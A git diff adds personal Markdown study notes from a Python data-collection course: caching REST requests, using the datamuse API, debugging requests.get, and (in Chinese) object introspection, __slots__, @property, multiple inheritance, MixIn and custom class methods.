if k not in private_keys: + res.append("{}-{}".format(k, params_d[k])) + return baseurl + "_".join(res) +# Because when requests.get encodes URL parameters, the keys in the params dictionary might be in any order, which would make it hard to compare one URL to another later on, and you could cache the same request multiple times. +# Comparing the strings "rowling&harry+potter" and "harry+potter&rowling", different for Python but same for REST API +# need to manipulate these strings carefully to always get the same, canonical key for the cache dictionary. + + +def get(baseurl, params={}, private_keys_to_ignore=["api_key"], permanent_cache_file=PERMANENT_CACHE_FNAME, temp_cache_file=TEMP_CACHE_FNAME): + full_url = requests.requestURL(baseurl, params) + cache_key = make_cache_key(baseurl, params, private_keys_to_ignore) + # Load the permanent and page-specific caches from files + permanent_cache = _read_from_file(permanent_cache_file) + temp_cache = _read_from_file(temp_cache_file) + if cache_key in temp_cache: + print("found in temp_cache") + # make a Response object containing text from the change, and the full_url that would have been fetched + return requests.Response(temp_cache[cache_key], full_url) + elif cache_key in permanent_cache: + print("found in permanent_cache") + # make a Response object containing text from the change, and the full_url that would have been fetched + return requests.Response(permanent_cache[cache_key], full_url) + else: + print("new; adding to cache") + # actually request it + resp = requests.get(baseurl, params) + # save it + add_to_cache(temp_cache_file, cache_key, resp.text) + return resp +``` + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.8.UseRESTAPI.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.8.UseRESTAPI.md new file mode 100644 index 00000000000..2721c1bb7ae --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.8.UseRESTAPI.md @@ -0,0 +1,161 @@ + +# 24.8. Figuring Out How to Use a REST API + +[toc] + +## introduces + +five questions that you’ll need to answer. +- What is the baseurl? +- What keys should you provide in the dictionary you pass for the params parameter? +- What values should you provide associated with those keys? +- Do you need to authenticate yourself as a licensed user of the API and, if so, how? +- What is the structure and meaning of the data that will be provided? + + + + +## 24.8.1. Example: the datamuse API + +how to fatched a URL: + +website [datamuse API](https://www.datamuse.com/api/): The Datamuse API is a word-finding query engine for developers. You can use it in your apps to find words that match a given set of constraints and that are likely in a given context. You can specify a wide variety of constraints on meaning, spelling, sound, and vocabulary in your queries, in any combination. + +![Screen Shot 2020-04-01 at 22.00.29](https://i.imgur.com/ep4tyol.png) + +![Screen Shot 2020-04-01 at 22.01.05](https://i.imgur.com/VFqaD4H.png) + +will seen example of a full URL +- `https://api.datamuse.com/words?rel_rhy=funny` + + +- What keys should you provide in the dictionary you pass for the params parameter? +- What values should you provide associated with those keys? +- Do you need to authenticate yourself as a licensed user of the API and, if so, how? +- What is the structure and meaning of the data that will be provided? + +--- + +**What is the baseurl?** + + the first part of the URL: `https://api.datamuse.com` + + endpoints : characters after the / and before the ?: words or sug. + +Thus, the `baseurl` will be one of the two endpoints +- `https://api.datamuse.com/words` +- or `https://api.datamuse.com/sug` + +--- + +**What keys should you provide in the dictionary you pass for the params parameter?** + +**What values should you provide associated with those keys?** + +![Screen Shot 2020-04-02 at 14.35.37](https://i.imgur.com/eMQ6Mzj.png) + +The answers to questions two and three, about the contents of the value of the params dictionary, can be found in the section of the documentation that describes the particular `endpoint`. + +For example, take a look at the documentation for the “words” endpoint. +{"word":"money","score":4417,"numSyllables":2},{"word":"honey","score":1208,"numSyllables":2}, + +The entire request will return some words, and all of the params contents will specify constraints that restrict the search. + +- If the url includes `ml=funny`, then all the words that will be returned will `“have a meaning related to”` to the word funny. +- If the url includes `rel_cns=book`, then all the words returned will have “`Consonant match`” to “book”. + + +The words to the left of the =, like ml and rel_cns and rel_rhy, will be keys in the dictionary that you pass as the value of params in the call to requests.get. The values associated with those keys will be words, like book and funny. + +--- + +**Do you need to authenticate yourself as a licensed user of the API and, if so, how?** + + +Many providers of APIs require you to register in advance to make use of an API, and then authenticate yourself with each request. +- charge money, or restrict usage in some way. + +A popular form of authentication is to have a personal `“api_key”` that you pass as one of the `key=value` pairs in the URL. + +For example, the flickr API requires that + +Some services, such as Facebook and Twitter, require an even more complex, and secure, form of authentication, where a credential is used to cryptographically sign requests. it is considerably harder to debug. + +Currently, datamuse does not require any authentication. You can tell that because, in the section titled “Usage limits”, it states, “You can use this service without restriction and without an API key for up to 100,000 requests per day. Please be aware that beyond that limit, keyless requests may be rate-limited without notice. If you’d like to use this in a customer-facing application, or if you need a custom vocabulary, or if you plan to make more than 100,000 requests per day, you can get an API key and a stable version to use with a greater availability guarantee.” + +--- + +**What is the structure and meaning of the data that will be provided?** + +the datamuse documentation provides a section “Interpreting the results” +- explains what kind of data will be returned by the API. +- the structure: JSON-formatted list of dictionaries, where each dictionary provides a single word that satisfies the hard constraints in the query, and a score saying how good a match it is on the soft constraints. + +--- + +## 24.8.2. Defining a function to make repeated invocations + + +a computer program: automatically translate paragraphs of text into paragraphs with similar meanings but with more rhymes. +- contact the datamuse API repeatedly, passing different values associated with the key `rel_rhy`. + +`https://api.datamuse.com/words?rel_rhy=funny` + +define a function to make request to a REST API for data +- means write less repeated code to make a request to the same API more than once in the same program. +- writing functions to complete a complex process in your code makes it easier to read and easier to fix later. +- Because a lot of things stay the same among different requests to the same API. + + +```py +# import statements for necessary Python modules +import requests + +def get_rhymes(word): + baseurl = "https://api.datamuse.com/words" + params_diction = {} # Set up an empty dictionary for query parameters + + params_diction["rel_rhy"] = word + params_diction["max"] = "3" # get at most 3 results + + # the fetched URL + resp = requests.get(baseurl, params=params_diction) + + # return the top three words + word_ds = resp.json() + + # return 2选1 + + # return the value of key `word` + return [d['word'] for d in word_ds] + # Return a python object (a list of dictionaries in this case) + return resp.json() + #[{'word': 'money', 'score': 4417, 'numSyllables': 2}, {'word': 'honey', 'score': 1208, 'numSyllables': 2}, {'word': 'sunny', 'score': 720, 'numSyllables': 2}] + + +print(get_rhymes("funny")) +https://api.datamuse.com/words?rel_rhy=funny + +print(get_rhymes("dash")) +https://api.datamuse.com/words?rel_rhy=dash +``` + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.9.DebugCallsToRequests.get().md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.9.DebugCallsToRequests.get().md new file mode 100644 index 00000000000..67bd83d336d --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.9.DebugCallsToRequests.get().md @@ -0,0 +1,112 @@ + +# 24.9. Debugging calls to requests.get() + +[toc] + +## 24.9.1. In the Runestone environment + +In our limited implementation of the requests library for the Runestone environment, if your request fails for any reason, you will still get a Response object +- invoke the `.json()` method on the Response object and you get an error that refers to an “unexpected token” in the JSON. + +**When that happens, print out the values of the `.text` and `.url` attributes**. + +1. *unable to use your baseurl and params value* to create a url string. **wrong URL** + - the `.url` attribute will be "Couldn’t generate a valid URL” + - the `.text` attribute will be set to “`

    invalid request

    `”. + +In that case, check the value for the params parameter is indeed a dictionary and that its keys and values are all strings. + +2. Igenerated a url string but *failed to fetch data from the server described by the url string*. +- the `.url` attribute will be set correctly +- the `.text` attribute will be set to “Failed to retrieve that URL” or `[]`. + +In that case, examine the url to try to figure out what went wrong. print it, then copy and paste it to a browser window and see what happens. + +the results you are getting back from a call to requests.get() are not what you expected +- look at the first few characters of the .text attribute of the Response object + +a `runtime error` and you don’t get a Response object back from the call to requests.get() +- invoke the requestURL() function with the same parameters you used to invoke requests.get() + +a runtime error and you don’t get a Response object back from the call to requests.get() +- look at the values you passed in to requests.get() + +--- + +## 24.9.2. In a full python environment + +In a full python environment, will not always get a Response object back from a call to requests.get. + +get back will generally be even more informative than what you get in the Runestone environment. + +1. get a runtime error when you call `requests.get(dest_url)`. + - **two possibilities** + + - the value provided for the params parameter is not a valid dictionary or doesn’t have key-value pairs that can be converted into text strings suitable for putting into a URL. + - For example, if you execute `requests.get("https://github.com", params = [0,1])`, [0,1] is a list rather than a dictionary and the python interpreter generates the error, TypeError: 'int' object is not iterable + + - the variable dest_url is either not bound to a string, or is bound to a string that isn’t a valid URL. + - For example, it might be bound to the string "https://foo.bar/bat". foo.bar is not a valid domain name that can be resolved to an ip address, so there’s no server to contact. That will yield an error of type requests.exceptions.ConnectionError + - complete error message: requests.exceptions.ConnectionError: HTTPConnectionPool(host='foo.bar', port=80): Max retries exceeded with url: /bat?key=val (Caused by : [Errno 11004] getaddrinfo failed) + + +The best approach is to look at the URL that is produced, eyeball it, and plug it into a browser to see what happens. + +if the call to `requests.get` produces an error, you won’t get a Response object, need some other way to see what URL was produced. + +The function defined below takes the same parameters as `requests.get` and returns the URL as a string, without trying to fetch it. + +```py +import requests + +def requestURL(baseurl, params = {}): + # accepts a URL path and a params diction as inputs. + # calls requests.get() with those inputs, + # and returns the full URL of the data you want to get. + req = requests.Request(method = 'GET', url = baseurl, params = params) + prepped = req.prepare() + return prepped.url + +print(requestURL(some_base_url, some_params_dictionary)) + +https://api.datamuse.com/words?rel_rhy=funny + +print(requestURL("https://api.datamuse.com/words", {"rel_rhy":"funny"}) ) + +``` + +If requests.get() executes without generating a runtime error, you are still not done with your error checking. No error means that your computer managed to connect to some web server and get some kind of response, but it doesn’t mean that it got the data you were hoping to get. + +Fortunately, the response object returned by requests.get() has the .url attribute, which will help you with debugging. It’s a good practice during program development to have your program print it out. This is easier than calling requestURL() but is only available to you if requests.get() succeeds in returning a Response object. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git "a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/1.0c.\350\216\267\345\217\226\345\257\271\350\261\241\344\277\241\346\201\257.md" "b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/1.0c.\350\216\267\345\217\226\345\257\271\350\261\241\344\277\241\346\201\257.md" new file mode 100644 index 00000000000..bec13e7c337 --- /dev/null +++ "b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/1.0c.\350\216\267\345\217\226\345\257\271\350\261\241\344\277\241\346\201\257.md" @@ -0,0 +1,301 @@ + +[toc] + +```py +>>> class MyObject(object): +... def __init__(self): +... self.x = 9 + +>>> hasattr(obj, 'x') # 有属性'x'吗? +True +>>> obj.x +9 +>>> hasattr(obj, 'y') # 有属性'y'吗? +False + +``` + +## 获取对象信息 + +### 使用`type()` +拿到一个对象的引用时 +- 首先判断对象类型,使用type()函数: + + +```py + +1. 基本类型都可以用type()判断: + + >>> type(123) + + + >>> type('str') + + + >>> type(None) + + + +2. 如果一个变量指向函数或者类,也可以用type()判断: + + >>> type(abs) + + + >>> type(a) + + +3. 但是type()函数返回的是什么类型呢?它返回对应的Class类型。如果我们要在if语句中判断,就需要比较两个变量的type类型是否相同: + + >>> type(123)==type(456) + True + >>> type(123)==int + True + >>> type('abc')==type('123') + True + >>> type('abc')==str + True + >>> type('abc')==type(123) + False + +4. 判断基本数据类型可以直接写int,str等,但如果要判断一个对象是否是函数怎么办?可以使用types模块中定义的常量: + +>>> import types +>>> def fn(): +... pass +... +>>> type(fn)==types.FunctionType +True +>>> type(abs)==types.BuiltinFunctionType +True +>>> type(lambda x: x)==types.LambdaType +True +>>> type((x for x in range(10)))==types.GeneratorType +True +``` + +### 使用`isinstance()` +1. 对于class的继承关系来说,type()不方便。 + - 我们要判断`class`的类型,可以使用isinstance()函数。 + - `isinstance()`: 可以告诉我们,一个对象是否是某种类型。 + +```py +如果继承关系是:object -> Animal -> Dog -> Husky + +先创建3种类型的对象: + >>> a = Animal() + >>> d = Dog() + >>> h = Husky() + +判断: + >>> isinstance(h, Husky) + True + 没有问题,因为h变量指向的就是Husky对象。 + +再判断: + >>> isinstance(h, Dog) + True + h虽然自身是Husky类型,但Husky是从Dog继承下来的, + 所以,h也还是Dog类型。 + +换句话说,isinstance()判断的是一个对象是否是该类型本身,或者位于该类型的父继承链上。 + +因此,我们可以确信,h还是Animal类型: + + >>> isinstance(h, Animal) + True + +同理,实际类型是Dog的d也是Animal类型: + + >>> isinstance(d, Dog) and isinstance(d, Animal) + True + +但是,d不是Husky类型: + + >>> isinstance(d, Husky) + False +``` + +2. 能用`type()`判断的基本类型也可以用`isinstance()`判断: + + ```py + >>> isinstance('a', str) + True + >>> isinstance(123, int) + True + >>> isinstance(b'a', bytes) + True + ``` + +3. 可以判断一个变量是否是某些类型中的一种 + + ```py + 下面的代码就可以判断是否是list或者tuple: + >>> isinstance([1, 2, 3], (list, tuple)) + True + >>> isinstance((1, 2, 3), (list, tuple)) + True + ``` + +4. 总是优先使用`isinstance()`判断类型,可以将指定类型及其子类“一网打尽”。 + +--- + +### 使用`dir()` + +使用dir()函数: +- 获得一个对象的`所有属性和方法` +- 它返回一个包含字符串的list, + +```py +获得一个str对象的所有属性和方法 + >>> dir('ABC') + ['__add__', '__class__',..., '__subclasshook__', 'capitalize', 'casefold',..., 'zfill'] +``` + +类似`__xxx__`的属性和方法在Python中都是有特殊用途的,比如`__len__`方法返回长度。 + + +```py + +1. 在Python中,如果调用len()函数获取一个对象的长度 + - 实际上,在len()函数内部,它自动去调用该对象的__len__()方法 + - 所以下面的代码是等价的: + + >>> len('ABC') + 3 + >>> 'ABC'.__len__() + 3 + +2. 自己写的类,如果也想用len(myObj) + - 就自己写一个__len__()方法: + + >>> class MyDog(object): + ... def __len__(self): + ... return 100 + ... + >>> dog = MyDog() + >>> len(dog) + 100 +``` +### `lower()` +剩下的都是普通属性或方法,比如lower()返回小写的字符串: + +```py +>>> 'ABC'.lower() +'abc' +``` + +### `getattr(), setattr(), hasattr()` +仅仅把属性和方法列出来是不够的,配合getattr()、setattr()以及hasattr(),可以直接操作一个对象的状态: + +- `hasattr(obj, 'attribute')`: 测试该对象的属性 +- `setattr(obj, 'attribute', 19)`: 直接settle一个对象的状态 +- `getattr(obj, 'z')`: 获取属性'z' + + +`setattr(obj, 'y', 19)` 和 `obj.y = 19` + +- 效果其实是一样的。 +- `object.a = 1` 最终也是调用 `self.__setattr__('a', 1)`; +- 只不过如果你自己重写父类(object)的__setattr__方法时,在此基础上可以加上自己定义的一些规则 + + +```py + + >>> class MyObject(object): + ... def __init__(self): + ... self.x = 9 + +// self.x 就是定义x属性。只不过这个属性不是传参赋值,而是内部直接赋值。 +// def __init__(self, name): 这个name是参数不是类的属性 +// self.name=name + + ... def power(self): + ... return self.x * self.x + ... + >>> obj = MyObject() + + +1. hasattr(obj, 'x') 可以测试该对象的属性: + + >>> hasattr(obj, 'x') # 有属性'x'吗? + True + >>> obj.x + 9 + >>> hasattr(obj, 'y') # 有属性'y'吗? + False + +2. 直接操作一个对象的状态: + + >>> setattr(obj, 'y', 19) # 设置一个属性'y' + >>> hasattr(obj, 'y') # 有属性'y'吗? + True + >>> getattr(obj, 'y') # 获取属性'y' + 19 + >>> obj.y # 获取属性'y' + 19 + +3. 如果试图获取不存在的属性,会抛出AttributeError的错误: + + >>> getattr(obj, 'z') # 获取属性'z' + Traceback (most recent call last): + File "", line 1, in + AttributeError: 'MyObject' object has no attribute 'z' + +4. 可以传入一个default参数,如果属性不存在,就返回默认值: + + >>> getattr(obj, 'z', 404) # 获取属性'z',如果不存在,返回默认值404 + 404 + +5. 也可以获得对象的方法: + + >>> hasattr(obj, 'power') # 有属性'power'吗? + True + + >>> getattr(obj, 'power') # 获取属性'power' + > + + >>> fn = getattr(obj, 'power') # 获取属性'power'并赋值到变量fn + + >>> fn # fn指向obj.power + > + >>> fn() # 调用fn()与调用obj.power()是一样的 + 81 + +``` + + +通过内置的一系列函数,可以对任意一个Python对象进行剖析,拿到其内部的数据。 +- 要注意的是,只有在不知道对象信息的时候,我们才会去获取对象信息。 +- 如果可以直接写: +`sum = obj.x + obj.y` +就不要写: +`sum = getattr(obj, 'x') + getattr(obj, 'y')` + + +```py + +一个正确的用法的例子如下: + + def readImage(fp): + if hasattr(fp, 'read'): + return readData(fp) + return None +``` + +假设希望从`文件流fp`中读取图像 +- 首先要判断该fp对象是否存在read方法 +- 如果存在,则该对象是一个流,如果不存在,则无法读取。 +- hasattr()就派上了用场。 + +请注意,在Python这类动态语言中,根据鸭子类型,有read()方法,不代表该fp对象就是一个文件流,它也可能是网络流,也可能是内存中的一个字节流,但只要read()方法返回的是有效的图像数据,就不影响读取图像的功能。 + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/1.1.OOP.programming.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/1.1.OOP.programming.md new file mode 100644 index 00000000000..ae1ebfb32bf --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/1.1.OOP.programming.md @@ -0,0 +1,439 @@ +# OOP + +[toc] + +## `__slots__` 限制该class实例能添加的属性 `class Student(object):__slots__ = ('name', 'age')` + +正常情况下,定义了一个class,创建了一个class的实例后,我们可以给该实例绑定任何属性和方法,这就是动态语言的灵活性。 + +```py + +1. 先定义class: + + class Student(object): + pass + +2. 给实例 instance 绑定一个属性: + + >>> s = Student() + >>> s.name = 'Michael' # 动态给实例绑定一个属性 + >>> print(s) + <__main__.Student object at 0x10e04c950> + >>> print(s.name) + Michael + +3. 尝试给实例绑定一个方法: + + >>> def set_age(self, age): # 定义一个函数作为实例方法 + ... self.age = age + >>> from types import MethodType + >>> s.set_age = MethodType(set_age, s) # 给实例绑定一个方法 + >>> s.set_age(25) # 调用实例方法 + >>> s.age # 测试结果 + 25 + + 但是,给一个实例绑定的方法,对另一个实例是不起作用的: + + >>> s2 = Student() # 创建新的实例 + >>> s2.set_age(25) # 尝试调用方法 + Traceback (most recent call last): File "", line 1, in + AttributeError: 'Student' object has no attribute 'set_age' + +5. 为了给所有实例都绑定方法,可以给class绑定方法: + + >>> def set_score(self, score): + ... self.score = score + >>> Student.set_score = set_score + + 给class绑定方法后,所有实例均可调用: + + >>> s.set_score(100) + >>> s.score + 100 + >>> s2.set_score(99) + >>> s2.score + 99 + +Student.set_score = set_score // 并不是给类绑定了方法,只是调用, +Student.set_score = MethodType(set_score,Student) // 才是给类绑定方法 + +``` + +通常情况下,上面的`set_score`方法可以直接定义在`class`中 +- 但动态绑定允许我们在程序运行的过程中动态给class加上功能,这在静态语言中很难实现。 +- 如果我们想要限制实例的属性, 比如,只允许对Student实例添加name和age属性。 + +为了达到限制的目的,Python允许在定义class的时候,定义一个特殊的`__slots__`变量,来限制该class实例能添加的属性: + - 类不受`__slots__`限制 + + +```py + +1. 定义特殊的__slots__变量,来限制该class实例能添加的属性: + + class Student(object): + __slots__ = ('name', 'age') # 用tuple定义允许绑定的属性名称 + + >>> s = Student() # 创建新的实例 + >>> s.name = 'Michael' # 绑定属性'name' + >>> s.age = 25 # 绑定属性'age' + >>> s.score = 99 # 绑定属性'score' + Traceback (most recent call last): + File "", line 1, in + AttributeError: 'Student' object has no attribute 'score' + + 由于'score'没有被放到__slots__中,所以不能绑定score属性,试图绑定score将得到AttributeError的错误。 + +2. 使用__slots__要注意,__slots__定义的属性仅对当前类实例起作用,对继承的子类是不起作用的: + + >>> class GraduateStudent(Student): + ... pass + >>> g = GraduateStudent() + >>> g.score = 9999 + +3. 除非在子类中也定义__slots__ + - 这样,子类实例允许定义的属性就是自身的__slots__加上父类的__slots__。 +``` + +--- + +## 使用`@property` +在绑定属性时,如果我们直接把属性暴露出去,虽然写起来很简单,但是,没办法检查参数,导致可以把成绩随便改: + + s = Student() + s.score = 9999 + +`@property` +- 广泛应用在类的定义中 +- 让调用者写出简短的代码,同时保证对参数进行必要的检查 +- 程序运行时减少出错的可能性。 + + +```py + +1. 为了限制score的范围 + - 可以通过一个`set_score()`方法来设置成绩 + - 再通过一个`get_score()`来获取成绩 + - 这样,在`set_score()`方法里,就可以检查参数: + + class Student(object): + + def get_score(self): + return self._score + + def set_score(self, value): + if not isinstance(value, int): + raise ValueError('score must be an integer!') + if value < 0 or value > 100: + raise ValueError('score must between 0 ~ 100!') + self._score = value + + 现在对任意的Student实例进行操作,就不能随心所欲地设置score了: + + >>> s = Student() + >>> s.set_score(60) # ok! + >>> s.get_score() + 60 + >>> s.set_score(9999) + Traceback (most recent call last): + ValueError: score must between 0 ~ 100! + + +2. 但是,上面的 调用方法 略显复杂,没有'直接用属性'这么直接简单。 + - 既能检查参数,又可以用类似属性这样简单的方式来访问类的变量 + - 装饰器(decorator)可以给函数动态加上功能 + - 对于类的方法,装饰器一样起作用。 + - Python内置的 @property装饰器 就是负责把一个 方法 变成 属性 调用的: + + class Student(object): + + @property + def score(self): + return self._score + + @score.setter + def score(self, value): + if not isinstance(value, int): + raise ValueError('score must be an integer!') + if value < 0 or value > 100: + raise ValueError('score must between 0 ~ 100!') + self._score = value + + +@property的实现比较复杂,我们先考察如何使用。 + +1. 把一个 getter方法 变成属性,只需要加上 @property 就可以了 + + - 此时,@property 本身又创建了另一个装饰器 @score.setter,负责把一个 setter方法 变成 属性 赋值 + - 于是,我们就拥有一个可控的属性操作: + + >>> s = Student() + >>> s.score = 60 // 实际转化为s.set_score(60) + >>> s.score // 实际转化为s.get_score() + 60 + >>> s.score = 9999 + Traceback (most recent call last): + ValueError: score must between 0 ~ 100! + + 注意到这个神奇的@property,我们在对实例属性操作的时候,就知道该属性很可能不是直接暴露的,而是通过getter和setter方法来实现的。 + +2. 还可以定义只读属性,只定义getter方法,不定义setter方法就是一个只读属性: + + class Student(object): + + @property + def birth(self): + return self._birth + + @birth.setter + def birth(self, value): + self._birth = value + + @property + def age(self): + return 2020 - self._birth + + 上面的birth是可读写属性,而age就是一个只读属性,因为age可以根据birth和当前时间计算出来。 +``` + +### 练习 + +1. 利用@property给一个Screen对象加上width和height属性,以及一个只读属性resolution: + +```py +# -*- coding: utf-8 -*- +class Screen(object): + pass + + @property + def width(self): + return self._width + + @width.setter + def width(self, value): + if not isinstance(value, int): + raise ValueError('Bad input.') + if value not in range(4000): + raise ValueError('Out of range!') + self._width = value + +@property中的self._width其实调用的是@width.setter中给出的self._width +即先通过setter将外部给定参数value读入到self._width,再通过@property赋给self.width。 + + @property + def height(self): + return self._height + + @height.setter + def height(self, value): + if not isinstance(value, int): + raise ValueError('Bad input.') + if value not in range(4000): + raise ValueError('Out of range!') + self._height = value + + #只读属性resolution + @property + def resolution(self): + return self.width * self.height + + +# 测试: +s = Screen() +s.width = 1024 +s.height = 768 +print('resolution =', s.resolution) +if s.resolution == 786432: + print('测试通过!') +else: + print('测试失败!') + Run +``` + +--- + +## 多重继承 `class Dog(Mammal, Runnable):` +继承是 `面向对象` 编程的一个重要的方式 +- 通过继承,子类就可以扩展父类的功能。 + +```py +Animal类层次的设计,假设要实现以下4种动物: + +Dog - 狗狗; +Bat - 蝙蝠; +Parrot - 鹦鹉; +Ostrich - 鸵鸟。 + +1. 如果按照哺乳动物和鸟类归类,我们可以设计出这样的类的层次: + + ┌───────────────┐ + │ Animal │ + └───────────────┘ + │ + ┌────────────┴────────────┐ + │ │ + ▼ ▼ + ┌─────────────┐ ┌─────────────┐ + │ Mammal │ │ Bird │ + └─────────────┘ └─────────────┘ + │ │ + ┌─────┴──────┐ ┌─────┴──────┐ + │ │ │ │ + ▼ ▼ ▼ ▼ +┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ +│ Dog │ │ Bat │ │ Parrot │ │ Ostrich │ +└─────────┘ └─────────┘ └─────────┘ └─────────┘ + +2. 如果按照“能跑”和“能飞”来归类,我们就应该设计出这样的类的层次: + + ┌───────────────┐ + │ Animal │ + └───────────────┘ + │ + ┌────────────┴────────────┐ + │ │ + ▼ ▼ + ┌─────────────┐ ┌─────────────┐ + │ Runnable │ │ Flyable │ + └─────────────┘ └─────────────┘ + │ │ + ┌─────┴──────┐ ┌─────┴──────┐ + │ │ │ │ + ▼ ▼ ▼ ▼ +┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ +│ Dog │ │ Ostrich │ │ Parrot │ │ Bat │ +└─────────┘ └─────────┘ └─────────┘ └─────────┘ + +3. 如果要把上面的两种分类都包含进来,我们就得设计更多的层次: + + 哺乳类:能跑的哺乳类,能飞的哺乳类; + 鸟类:能跑的鸟类,能飞的鸟类。 + 这么一来,类的层次就复杂了: + + ┌───────────────┐ + │ Animal │ + └───────────────┘ + │ + ┌────────────┴────────────┐ + │ │ + ▼ ▼ + ┌─────────────┐ ┌─────────────┐ + │ Mammal │ │ Bird │ + └─────────────┘ └─────────────┘ + │ │ + ┌─────┴──────┐ ┌─────┴──────┐ + │ │ │ │ + ▼ ▼ ▼ ▼ +┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ +│ MRun │ │ MFly │ │ BRun │ │ BFly │ +└─────────┘ └─────────┘ └─────────┘ └─────────┘ + │ │ │ │ + │ │ │ │ + ▼ ▼ ▼ ▼ +┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ +│ Dog │ │ Bat │ │ Ostrich │ │ Parrot │ +└─────────┘ └─────────┘ └─────────┘ └─────────┘ + +4. 如果再增加“宠物类”和“非宠物类”,这么搞下去,类的数量会呈指数增长,很明显这样设计是不行的。 + + +---------------------------------------------- + +正确的做法是采用多重继承。 + +首先,主要的类层次仍按照哺乳类和鸟类设计: + +class Animal(object): + pass + +# 大类: Mammal or Bird +class Mammal(Animal): + pass + +class Bird(Animal): + pass + +# 各种动物: dog, bat, Parrot, Ostrich +class Dog(Mammal): + pass + +class Bat(Mammal): + pass + +class Parrot(Bird): + pass + +class Ostrich(Bird): + pass + + +再加上Runnable和Flyable的功能 +# 只需要先定义好Runnable和Flyable的类: +class Runnable(object): + def run(self): + print('Running...') + +class Flyable(object): + def fly(self): + print('Flying...') + +需要Runnable功能的动物,就多继承一个Runnable, +# 例如Dog: +class Dog(Mammal, Runnable): + pass + +需要Flyable功能的动物,就多继承一个Flyable, +# 例如Bat: +class Bat(Mammal, Flyable): + pass + +通过多重继承,一个子类就可以同时获得多个父类的所有功能。 +``` + +### MixIn +在设计类的继承关系时,通常,主线都是单一继承下来的,例如,Ostrich继承自Bird。 +- 但是,如果需要“混入”额外的功能,通过`多重继承`就可以实现: +- 比如,让Ostrich除了继承自Bird外,再同时继承Runnable。 + +这种设计通常称之为`MixIn`。 +- 由于Python允许使用多重继承,因此,MixIn就是一种常见的设计。 +- 只允许单一继承的语言(如Java)不能使用MixIn的设计。 + + +```py +为了更好地看出继承关系 +- 把'Runnable'和'Flyable'改为'RunnableMixIn'和'FlyableMixIn'。 +- 类似的,你还可以定义出 肉食动物'CarnivorousMixIn'和 植食动物'HerbivoresMixIn',让某个动物同时拥有好几个MixIn: + +class Dog(Mammal, RunnableMixIn, CarnivorousMixIn): + pass +``` + +MixIn的目的: 就是`给一个类增加多个功能` +- 这样在设计类的时候,我们优先考虑通过`多重继承`来组合多个MixIn的功能,而不是设计多层次的复杂的继承关系。 + +Python自带的很多库也使用了MixIn。 +例子 +Python自带了`TCPServer`和`UDPServer`这两类网络服务 +- 而要同时服务多个用户就必须使用多进程或多线程模型,这两种模型由`ForkingMixIn`和`ThreadingMixIn`提供。 +- 通过组合,我们就可以创造出合适的服务来。 + +```py +比如 + +编写一个多进程模式的TCP服务 +class MyTCPServer(TCPServer, ForkingMixIn): + pass + +编写一个多线程模式的UDP服务,定义如下: +class MyUDPServer(UDPServer, ThreadingMixIn): + pass + +如果打算搞一个更先进的 协程模型,可以编写一个 CoroutineMixIn: +class MyTCPServer(TCPServer, CoroutineMixIn): + pass + +这样不需要复杂而庞大的继承链,只要选择组合不同的类的功能,就可以快速构造出所需的子类. +``` + +--- diff --git "a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/1.1a.\345\256\232\345\210\266\347\261\273.md" "b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/1.1a.\345\256\232\345\210\266\347\261\273.md" new file mode 100644 index 00000000000..8870f502c97 --- /dev/null +++ "b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/1.1a.\345\256\232\345\210\266\347\261\273.md" @@ -0,0 +1,424 @@ +## 定制类 +类似`__slots__`这种形如`__xxx__`的变量或者函数名就要注意,这些在Python中是有特殊用途的。 + +`__slots__`: 限制该`class实例instance`能添加的属性 +`__len__()`方法: 是为了能让`class`作用于len()函数。 + +除此之外,Python的class中还有许多这样有特殊用途的函数,可以帮助我们定制类。 + +--- + +### `__init__` 方法: 强制填写 + +由于类 class 可以起到模板的作用 +- 因此可以在创建实例的时候,把必须绑定的属性`强制填写`进去。 +- 通过定义特殊的 `__init__` 方法,在创建实例的时候,就把name,score等属性绑上去 + +```py + + class Student(object): + def __init__(self, name, score): + self.name = name + self.score = score +``` + +- `__init__`前后分别有两个下划线!!! +- `__init__`的第一个参数永远是self,表示创建的实例本身, +- 因此,在 `__init__`方法内部,就可以把各种属性绑定到self,因为self就指向创建的实例本身。 + +有了__init__方法,在创建实例的时候,就不能传入空的参数了,必须传入与__init__方法匹配的参数,但self不需要传,Python解释器自己会把实例变量传进去: + +```py + >>> bart = Student('Bart Simpson', 59) + >>> bart.name + 'Bart Simpson' + >>> bart.score + 59 +``` + +和普通的函数相比,在类中定义的函数只有一点不同,就是第一个参数永远是`实例变量self`,并且,调用时,不用传递该参数。 +- 除此之外,类的方法和普通函数没有什么区别,所以,你仍然可以用默认参数、可变参数、关键字参数和命名关键字参数。 + +--- + +### `__str__`:返回用户看到的字符串 `__repr__()`:返回程序开发者看到的字符串. 实现输入`s()` / `s`时的显示内容 + +```py + +1. 定义一个Student类,打印一个实例: + + class Student(object): + def __init__(self, name): + self.name = name + + >>> print(Student('Michael')) + <__main__.Student object at 0x109afb190> + +2. 打印出一堆,不好看。 + 可以定义__str__()方法,返回一个好看的字符串: + + def __str__(self): + 